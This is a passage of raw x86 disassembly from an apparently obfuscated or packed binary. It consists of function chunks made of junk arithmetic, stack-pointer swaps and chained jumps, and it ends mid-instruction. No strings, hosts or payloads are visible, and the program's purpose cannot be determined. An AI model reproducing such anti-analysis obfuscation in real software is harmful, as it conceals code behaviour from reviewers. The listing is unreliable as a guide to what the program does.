CHUNK FOR sub_5997FD loc_59B157: ; CODE XREF: sub_5997FD+14D37j shr ebx, 7 and ebx, 14E3169Fh jmp loc_59B942 ; END OF FUNCTION CHUNK FOR sub_5997FD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A2E28 loc_59B165: ; CODE XREF: sub_5A2E28-1A85j xor ebx, 2164215h shr ebx, 2 sub ebx, 26DC147h add edi, ebx jmp loc_5A2531 ; END OF FUNCTION CHUNK FOR sub_5A2E28 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59A9E9 loc_59B17B: ; CODE XREF: sub_59A9E9+134B5j shr edi, 7 push esi push edx push 0E9322EAh pop edx jmp loc_59CCC2 ; END OF FUNCTION CHUNK FOR sub_59A9E9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA810 loc_59B18B: ; CODE XREF: sub_5AA810-17CCj add ecx, 5F26003Ch jmp loc_59F7FB ; END OF FUNCTION CHUNK FOR sub_5AA810 ; =============== S U B R O U T I N E ======================================= sub_59B196 proc near ; DATA XREF: sdfs____:00598E70o var_4 = dword ptr -4 ; FUNCTION CHUNK AT 005A66FE SIZE 0000000C BYTES ; FUNCTION CHUNK AT 005ABE98 SIZE 0000000C BYTES mov cx, [esp+0] push 56F0h mov [esp+4+var_4], edi mov edi, esp jmp loc_5ABE98 sub_59B196 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A0924 loc_59B1A9: ; CODE XREF: sub_5A0924+2A59j inc eax dec eax inc eax add eax, 797C1E21h add ebx, eax pop eax add ebx, 4 xchg ebx, [esp+4+var_4] mov esp, [esp+4+var_4] push 59E1h jmp loc_5A97E8 ; END OF FUNCTION CHUNK FOR sub_5A0924 ; --------------------------------------------------------------------------- loc_59B1CA: ; CODE XREF: sdfs____:00599D3Ej mov edx, [esp] add esp, 4 add ebx, esi mov esi, [esp] push edi mov edi, esp jmp loc_5AD509 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A4886 loc_59B1DD: ; CODE XREF: sub_5A4886+2246j pop eax push [esp-4+arg_0] pop edi push esi mov esi, esp jmp loc_5AFEFB ; END OF FUNCTION CHUNK FOR sub_5A4886 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_59B1EA: ; CODE XREF: sub_5992DA+143EBj add bl, 2Eh add bl, 0C8h jmp loc_59D548 ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59B1F5: ; CODE XREF: sub_5AA2D1-3413j pop ebp push dword ptr [esp+0] push [esp+2+var_4+2] pop ecx push 5B36h mov [esp+6+var_8+2], edi sub esp, 4 jmp loc_5A1BBB ; --------------------------------------------------------------------------- loc_59B210: ; CODE XREF: sub_5AA2D1-1C1Cj pop eax jmp loc_5ABC6D ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D6B8 loc_59B216: ; CODE XREF: sub_59D6B8+12D6Ej or eax, 7D6C76D7h jnb loc_5AB3A6 jmp loc_5A0E5B ; END OF FUNCTION CHUNK FOR sub_59D6B8 ; --------------------------------------------------------------------------- pop edx mov edx, eax mov eax, [esp] mov edx, esi ; =============== S U B R O U T I N E ======================================= sub_59B22E proc near ; DATA XREF: sdfs____:00598FB8o var_4 = dword ptr -4 ; FUNCTION CHUNK AT 005A4B58 SIZE 00000037 BYTES lodsd sub eax, 714142AAh add eax, 5F5E698Fh add eax, 2CBA30C8h jmp loc_5A4B58 sub_59B22E endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59A986 loc_59B243: ; CODE XREF: sub_59A986+11j push edx mov edx, 272718A2h sub edx, 12101C5Dh not edx sub edx, 791E6DEBh jmp loc_59C0B0 ; END OF FUNCTION CHUNK FOR sub_59A986 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A77D5 loc_59B25C: ; CODE XREF: sub_5A77D5+3C30j xor [esp+4+var_4], edi jmp loc_5A9B45 ; END OF FUNCTION CHUNK FOR sub_5A77D5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A3C19 loc_59B264: ; CODE XREF: sub_5A3C19+7F16j sub ebx, 34E94DA3h add ebx, ebp add ebx, 34E94DA3h mov ebp, [esp+0] add esp, 4 push 1F96h mov [esp+0], ebx jmp loc_5AD4CC ; END OF FUNCTION CHUNK FOR sub_5A3C19 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59B285: ; CODE XREF: sub_5AF294-FBABj ; sub_5AA2D1-A4A6j xchg esi, ebp not esi xchg esi, ebp push edi jmp loc_5A7A66 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59A4E8 loc_59B291: ; CODE XREF: sub_59A4E8+CFFFj jge loc_5A4740 push esi push ebp mov ebp, 0C9D5131h mov esi, ebp jmp loc_5A5E9C ; END OF FUNCTION CHUNK FOR sub_59A4E8 ; --------------------------------------------------------------------------- push ebp ; START OF FUNCTION CHUNK FOR sub_5ADD33 loc_59B2A6: ; CODE XREF: sub_5ADD33+155Cj xchg eax, [esp+0Ch+var_C] mov esp, [esp+0Ch+var_C] sub esp, 4 jmp loc_5AF8F5 ; END OF FUNCTION CHUNK FOR sub_5ADD33 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A0FFF loc_59B2B7: ; CODE XREF: sub_5A0FFF-8EEj mov [esp+4+var_4], ecx push 28h push [esp+8+var_8] pop ecx push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp+0Ch+var_C] pop esp add ecx, 1C874EB0h add ecx, 50F312EDh jmp loc_5A17F9 ; END OF FUNCTION CHUNK FOR sub_5A0FFF ; =============== S U B R O U T I N E ======================================= sub_59B2E4 proc near ; DATA XREF: sdfs____:00598F68o var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0059A3E9 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0059AF18 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0059BE84 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 005A01D8 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 005A2748 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005A3352 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 005A486C SIZE 0000001A BYTES ; FUNCTION CHUNK AT 005A5002 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 005A787C SIZE 00000014 BYTES ; FUNCTION CHUNK AT 005AC2A3 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005AC72D SIZE 0000002A BYTES ; FUNCTION CHUNK AT 005AF40A SIZE 0000000C BYTES push 1974h mov [esp+4+var_4], esp push esi jmp loc_5A5002 sub_59B2E4 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A996F loc_59B2F2: ; CODE XREF: sub_5A996F-AAD6j mov edx, 33687340h add edx, 0CC978CC4h add ebp, 6DAF552Bh add ebp, edx sub ebp, 6DAF552Bh mov edx, [esp+8+var_8] add esp, 4 jmp sub_5AF2D9 ; END OF FUNCTION CHUNK FOR sub_5A996F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A2E28 loc_59B316: ; CODE XREF: sub_5A2E28-5595j push edx mov edx, 68C93EEEh dec edx dec edx and edx, 5CE131F0h add edx, 6EB04715h add edx, 488E880Fh sub ebx, edx pop edx xchg ebx, [esp-0Ch+arg_8] mov esp, [esp-0Ch+arg_8] mov [esp-0Ch+arg_8], esi mov esi, 1DD651ACh push 66FEh mov [esp-8+arg_4], edi mov edi, 5D097015h xor esi, edi pop edi add esi, 24352E9Bh sub esi, 0D8B7B6CBh sub eax, esi pop esi jmp loc_5AD94F ; END OF FUNCTION CHUNK FOR sub_5A2E28 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59B365: ; CODE XREF: sub_5AA2D1-46DFj pop ecx jmp loc_59FE22 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5998AD loc_59B36B: ; CODE XREF: sub_5998AD+14j add [esp+8+var_8], 4 push [esp+8+var_8] jmp loc_5999AB ; END OF FUNCTION CHUNK FOR sub_5998AD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59B377: ; CODE XREF: sub_5AA2D1+4C91j ja loc_59D33E jmp loc_5ABFCD ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- sub edi, eax jmp loc_59DDE9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_599D0E loc_59B389: ; CODE XREF: sub_599D0E+7E94j add dh, 0CAh jmp loc_5A8EC5 ; END OF FUNCTION CHUNK FOR sub_599D0E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59B391: ; CODE XREF: sub_5AA2D1+77Dj mov dh, ah pop eax add al, 34h jmp loc_5A6898 ; --------------------------------------------------------------------------- loc_59B39B: ; CODE XREF: sub_5AA2D1+2ECEj xchg edx, [esp+2+var_4+2] pop esp jmp loc_5A32D9 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_59B3A4: ; CODE XREF: sub_5992DA+3557j ; sub_5992DA+12A9Ej push 436Eh jmp loc_59924C ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59C1E9 loc_59B3AE: ; CODE XREF: sub_59C1E9+CBE9j push edi mov edi, 278F5308h or edi, 376E2EF8h shr edi, 6 dec edi shr edi, 7 shl edi, 7 jmp loc_5A8FE1 ; END OF FUNCTION CHUNK FOR sub_59C1E9 ; =============== S U B R O U T I N E ======================================= sub_59B3C9 proc near ; DATA XREF: sdfs____:00598F88o var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00599316 SIZE 00000026 BYTES ; FUNCTION CHUNK AT 0059A22D SIZE 00000035 BYTES ; FUNCTION CHUNK AT 0059BB83 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 005A124A SIZE 0000001A BYTES ; FUNCTION CHUNK AT 005A1E73 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005A30DD SIZE 00000005 BYTES ; FUNCTION CHUNK AT 005AD614 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 005AE292 SIZE 0000000A BYTES push dword ptr [esp+0] push [esp+4+var_4] mov eax, [esp+8+var_8] push eax mov eax, esp add eax, 4 add eax, 4 jmp loc_59A22D sub_59B3C9 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59B3E4: ; CODE XREF: sub_5AA2D1:loc_5A0D14j xor eax, 7328729Ch jmp loc_59CA8F ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- loc_59B3EE: ; CODE XREF: sdfs____:0059D331j or edi, 46B4A7Bh and edi, 3C6324C4h shl edi, 1 dec edi jmp loc_5A1BCA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5ABE0D loc_59B402: ; CODE XREF: sdfs____:0059EB99j ; sub_5ABE0D:loc_5A6214j xor esi, 2B156C3Dh mov eax, esi pop esi dec eax jmp loc_5AADB5 ; END OF FUNCTION CHUNK FOR sub_5ABE0D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A3B60 loc_59B411: ; CODE XREF: sub_5A3B60-A8B0j pop ebx sub ebx, 7E1C4765h mov ecx, [esp+0] add esp, 4 add ebx, eax push ebp push 30B0h mov [esp+4+var_4], ecx push 15C6431Ch jmp loc_5A50FE ; END OF FUNCTION CHUNK FOR sub_5A3B60 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A522E loc_59B436: ; CODE XREF: sub_5A522E-22B4j or esi, 4B4C27AFh push edi jmp loc_5A5269 ; END OF FUNCTION CHUNK FOR sub_5A522E ; =============== S U B R O U T I N E ======================================= sub_59B442 proc near ; CODE XREF: sub_5AA2D1-3E9Aj push ebp mov ebp, 75403993h xor ebp, 75403997h add ecx, ebp pop ebp push ebp mov ebp, 4 add ecx, ebp pop ebp xchg ecx, [esp+0] pop esp jmp loc_59DCFC sub_59B442 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59B463: ; CODE XREF: sub_5AA2D1-6848j add esp, 2 push ecx push ebx push edx mov dl, 0C2h jmp loc_59E3FA ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AD84A loc_59B470: ; CODE XREF: sub_5AC803-7231j ; sub_59FC02+743Dj ... pop esp mov [esp-4+arg_0], ebp push 4350h mov [esp+0], esi push eax push 6694h mov [esp+8+var_8], edx jmp loc_59FB21 ; END OF FUNCTION CHUNK FOR sub_5AD84A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59B48A: ; CODE XREF: sub_5AA2D1-ECFFj add ecx, 534A72B4h add ecx, 56F61EC4h add edx, ecx mov ecx, [esp+6+var_8+2] jmp loc_59D073 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; =============== S U B R O U T I N E ======================================= sub_59B4A0 proc near ; CODE XREF: sub_59C979+7C4Ej var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 0059B081 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005A3530 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 005A3F71 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 005A4241 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 005A43AD SIZE 0000004B BYTES ; FUNCTION CHUNK AT 005AAA38 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005AC85F SIZE 00000016 BYTES sub esp, 4 mov [esp+4+var_4], eax push esp pop eax push edi jmp loc_5A43AD sub_59B4A0 endp ; =============== S U B R O U T I N E ======================================= sub_59B4B1 proc near ; CODE XREF: sub_5A9EC5-1A4Dj arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0059D0F4 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0059FE17 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005A8835 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 005A9800 SIZE 00000023 BYTES ; FUNCTION CHUNK AT 005AB9FF SIZE 0000000C BYTES push ebx jmp loc_5A8835 sub_59B4B1 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A633D loc_59B4B7: ; CODE XREF: sub_5A633D-3643j or ecx, 1F2B418Eh sub ecx, 21F55DF6h jmp loc_5AD0F1 ; END OF FUNCTION CHUNK FOR sub_5A633D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AD795 loc_59B4C8: ; CODE XREF: sub_5AD795-89FDj pop ebp pop ecx not ecx xchg ecx, ebp sub ebp, 0FFFFFFFFh add ebp, 8F0B1FD9h sub ebx, 261C644Ch add ebx, 66622A5h add ebx, ebp sub ebx, 66622A5h add ebx, 261C644Ch pop ebp push 28A0h mov [esp+4+var_4], ecx mov cl, 60h push ebx mov ebx, esp add ebx, 4 jmp loc_59D508 ; END OF FUNCTION CHUNK FOR sub_5AD795 ; --------------------------------------------------------------------------- lodsb jmp loc_5A58FF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A77D5 loc_59B510: ; CODE XREF: sub_5A77D5-623Bj mov edi, esp push ebx push ebp jmp loc_5A2195 ; END OF FUNCTION CHUNK FOR sub_5A77D5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5B01F7 loc_59B519: ; CODE XREF: sub_5B01F7-99BFj sub eax, 21E742Bh jmp loc_59E0FD ; --------------------------------------------------------------------------- loc_59B523: ; CODE XREF: sub_5B01F7-7DA9j dec ecx jnp loc_5A1032 sub ecx, 5C8F57C6h sub dh, 0A0h push ecx ; END OF FUNCTION CHUNK FOR sub_5B01F7 ; START OF FUNCTION CHUNK FOR sub_5A477C loc_59B534: ; CODE XREF: sub_5A477C+2969j mov [esp-8+arg_4], ebx push ecx push esi mov esi, 21F41536h mov ecx, esi pop esi sub ecx, 0E2B55CDh xor ecx, 2CBFF69Eh mov ebx, ecx jmp loc_5A4A05 ; END OF FUNCTION CHUNK FOR sub_5A477C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AB5A9 loc_59B554: ; CODE XREF: sub_5AB5A9+4B13j push 0ADBh mov [esp+4+var_4], ebx push dword ptr [esp+4] jmp loc_5AB861 ; END OF FUNCTION CHUNK FOR sub_5AB5A9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A5EFF loc_59B565: ; CODE XREF: sub_5A5EFF-BD6Ej shr eax, 3 push ebx push 0FFFFFFFFh push dword ptr [esp+0] pop ebx add esp, 4 add eax, ebx pop ebx push edi mov edi, 331494E0h xor eax, edi jmp loc_5A60D7 ; END OF FUNCTION CHUNK FOR sub_5A5EFF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59B588: ; CODE XREF: sub_5AA2D1-D02Fj ; sdfs____:005A1DC5j mov [esp+6+var_8+2], esi jmp loc_5AEC55 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D37E loc_59B590: ; CODE XREF: sub_59D37E+14j add ebp, 0A0B3E48Dh mov esi, ebp pop ebp push eax jmp sub_59C656 ; END OF FUNCTION CHUNK FOR sub_59D37E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A4D9D loc_59B59F: ; CODE XREF: sub_5A4D9D-6D72j add esp, 4 push 145Ah mov [esp+0], eax mov eax, 73E352D4h or eax, 3015E1h add eax, 4DAC2AAEh jp loc_5A18A7 neg eax jge loc_5A261B jnp loc_5AE907 ; END OF FUNCTION CHUNK FOR sub_5A4D9D ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59B5CD: ; CODE XREF: sub_5AA2D1-4916j mov ecx, 55BF6E8Ch jmp loc_59B48A ; --------------------------------------------------------------------------- loc_59B5D7: ; CODE XREF: sub_5AA2D1-60CFj xor edi, [esp+6+var_8+2] xor [esp+6+var_8+2], edi xor edi, [esp+6+var_8+2] mov esp, [esp+6+var_8+2] jmp loc_5A081D ; --------------------------------------------------------------------------- loc_59B5E8: ; CODE XREF: sub_5AA2D1-1096Aj add ecx, 4 jmp loc_5AA1AB ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D6B8 loc_59B5F0: ; CODE XREF: sub_59D6B8+BC52j push [esp+20h+var_20] pop eax add esp, 4 pop cx movzx eax, al push dword ptr [edi+eax*4] jmp loc_59910F ; END OF FUNCTION CHUNK FOR sub_59D6B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A3992 loc_59B604: ; CODE XREF: sub_5A3992-260Aj neg edi jmp loc_59F19A ; END OF FUNCTION CHUNK FOR sub_5A3992 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59B60B: ; CODE XREF: sub_5AA2D1+5CFFj not bx shl bx, 8 sub bx, 54E3h sub bx, 4F02h jmp loc_5A02D8 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A9B1D loc_59B621: ; CODE XREF: sub_5A9B1D+2935j add ecx, 87BEA8Bh jmp loc_59F834 ; END OF FUNCTION CHUNK FOR sub_5A9B1D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59A26C loc_59B62C: ; CODE XREF: sub_59A26C+D8DBj pop eax add ecx, 4 xchg ecx, [esp-8+arg_4] mov esp, [esp-8+arg_4] pop [esp-8+arg_4] jmp loc_59A074 ; END OF FUNCTION CHUNK FOR sub_59A26C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A3699 loc_59B63E: ; CODE XREF: sub_5A3699-8995j pop ebx shl esi, 4 shr esi, 2 push ebp mov ebp, 0E7E5E670h add esi, ebp jmp loc_599F39 ; END OF FUNCTION CHUNK FOR sub_5A3699 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59CBE1 loc_59B652: ; CODE XREF: sub_59CBE1+A870j push 6E33h mov [esp-8+arg_4], edx push eax jmp loc_5A30B1 ; END OF FUNCTION CHUNK FOR sub_59CBE1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A2E28 loc_59B660: ; CODE XREF: sub_5A2E28+603Dj mov [esp-10h+arg_C], ebp mov ebp, 7D376F2Ah or ebp, 28DE0F88h shr ebp, 1 jmp loc_59A328 ; END OF FUNCTION CHUNK FOR sub_5A2E28 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A477C loc_59B675: ; CODE XREF: sub_5A477C+8D88j xor esi, 4AB2C2ABh xor ecx, esi pop esi jmp loc_5A433F ; END OF FUNCTION CHUNK FOR sub_5A477C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59B683: ; CODE XREF: sub_5AA2D1-321Dj mov eax, 53A531Ch dec eax jmp loc_5A17AC ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AAB66 loc_59B68E: ; CODE XREF: sub_5AAB66-960j and ebx, 37A918DBh dec ebx neg ebx push edx jmp loc_5A7901 ; END OF FUNCTION CHUNK FOR sub_5AAB66 ; =============== S U B R O U T I N E ======================================= sub_59B69D proc near ; CODE XREF: sub_5A7BEB+6568j ; FUNCTION CHUNK AT 005A06CD SIZE 00000005 BYTES push bx jmp loc_5A06CD sub_59B69D endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59A479 loc_59B6A4: ; CODE XREF: sub_59A479+15924j push [esp+0Ch+var_C] pop eax add esp, 4 jmp sub_5A913B ; END OF FUNCTION CHUNK FOR sub_59A479 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A687B loc_59B6B0: ; CODE XREF: sub_5A687B+Ej push 35B8h mov [esp+8+var_8], edx push edi push eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp+10h+var_10] jmp loc_5AA03C ; END OF FUNCTION CHUNK FOR sub_5A687B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59ED98 loc_59B6CC: ; CODE XREF: sub_59ED98+A27Fj push 16Ch mov [esp+0], ebx push edx mov dh, 1Eh mov bl, 27h sub bl, 72h jmp loc_5A1EDA ; END OF FUNCTION CHUNK FOR sub_59ED98 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59B6E1: ; CODE XREF: sub_5AA2D1-7ECFj sub eax, ebp jmp loc_5A716F ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5998AD loc_59B6E8: ; CODE XREF: sub_5998AD+BCB5j add edx, 4 add edx, 4 xchg edx, [esp+8+var_8] pop esp add edi, ebp pop ebp push ebx jmp loc_59FEEE ; END OF FUNCTION CHUNK FOR sub_5998AD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A477C loc_59B701: ; CODE XREF: sub_5A477C-5EDAj ; sub_5A2AFE+5771j push edx jmp loc_5A245B ; END OF FUNCTION CHUNK FOR sub_5A477C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59EE3E loc_59B707: ; CODE XREF: sub_5A2E28-9CCAj ; sub_59EE3E+F666j add ecx, 5F26003Ch jmp loc_59AB74 ; END OF FUNCTION CHUNK FOR sub_59EE3E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A5EFF loc_59B712: ; CODE XREF: sub_5A5EFF-61A9j push 1C7Ah mov [esp+0], edi jmp loc_5AA20B ; END OF FUNCTION CHUNK FOR sub_5A5EFF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AC18D loc_59B71F: ; CODE XREF: sub_5AC18D-226Bj push eax mov eax, 0 add eax, edx jmp loc_5A1EA0 ; END OF FUNCTION CHUNK FOR sub_5AC18D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A54C9 loc_59B72C: ; CODE XREF: sub_5A54C9+16j xchg ecx, [esp+8+var_8] pop esp mov [esp+4+var_4], ebp push ecx mov ecx, 2F1B0202h mov ebp, ecx mov ecx, [esp+8+var_8] add esp, 4 jmp loc_5A602D ; END OF FUNCTION CHUNK FOR sub_5A54C9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A79BE loc_59B749: ; CODE XREF: sub_5A79BE+3B7Ej neg esi and esi, 65CA590Dh dec esi jmp loc_5AD157 ; END OF FUNCTION CHUNK FOR sub_5A79BE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59B757: ; CODE XREF: sub_5AA2D1-E5A3j ; sub_5A118F+1F80j mov [esp+4+var_4], edx jmp loc_5A9DB5 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AE9FA loc_59B75F: ; CODE XREF: sub_5AE9FA+14ECj add esi, 8FD6658h sub edi, esi pop esi push edx mov edx, 5C781499h add edx, 17670111h jno loc_5AB869 shr edx, 8 jmp sub_5A5824 ; END OF FUNCTION CHUNK FOR sub_5AE9FA ; --------------------------------------------------------------------------- push edx jmp loc_5A93AD ; --------------------------------------------------------------------------- loc_59B788: ; CODE XREF: sdfs____:005A3C14j or ebp, 57B45EC7h push eax jmp loc_59CBA1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A54BA loc_59B794: ; CODE XREF: sub_5A54BA-23CDj dec ebx push 384Fh mov [esp+8+var_8], ecx jmp sub_59EE3E ; END OF FUNCTION CHUNK FOR sub_5A54BA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59B7A2: ; CODE XREF: sub_5AA2D1-9C32j inc bl or bl, 0B9h and bl, 21h jbe loc_5AE3A6 add bl, 24h jmp loc_5A315E ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AD243 loc_59B7B8: ; CODE XREF: sub_5AD243-12754j push esp pop ebp add ebp, 4 add ebp, 4 xchg ebp, [esp-8+arg_4] pop esp jmp loc_5A1F55 ; END OF FUNCTION CHUNK FOR sub_5AD243 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59B7CF: ; CODE XREF: sub_5AA2D1-8F3Cj add ecx, 4 add ecx, 4 xchg ecx, [esp+4+var_4] pop esp push 192Ah mov [esp+4+var_4], edx mov edx, esp add edx, 4 jmp loc_5A77B2 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AE4A9 loc_59B7F1: ; CODE XREF: sub_5AE4A9+7j add ecx, 4 sub ecx, 4 push ecx push [esp+8+var_4] pop ecx jmp loc_5A8734 ; END OF FUNCTION CHUNK FOR sub_5AE4A9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5B01F7 loc_59B805: ; CODE XREF: sub_5B01F7-E9A4j push esi mov esi, 2FF13C97h sub esi, 105EEF8Eh add eax, esi pop esi jmp loc_5AC271 ; END OF FUNCTION CHUNK FOR sub_5B01F7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59B819: ; CODE XREF: sub_5AA2D1+3096j mov edx, 39FE3E17h dec edx sub edx, 3BD1541Bh jnb loc_5A5C6A jmp loc_5A0D38 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AD795 loc_59B830: ; CODE XREF: sub_5AD795-2A23j mov ebp, esp add ebp, 4 add ebp, 4 jmp sub_59D6B8 ; END OF FUNCTION CHUNK FOR sub_5AD795 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5996E4 loc_59B840: ; CODE XREF: sub_5996E4+FF47j shr edi, 5 jmp loc_5AB702 ; END OF FUNCTION CHUNK FOR sub_5996E4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59F4D2 loc_59B848: ; CODE XREF: sub_59F4D2-57DCj add ebp, 5CD7631Ah mov eax, ebp mov ebp, [esp+0] add esp, 4 add ebx, 3EB04299h sub ebx, eax push edi mov edi, 3EB04299h jmp 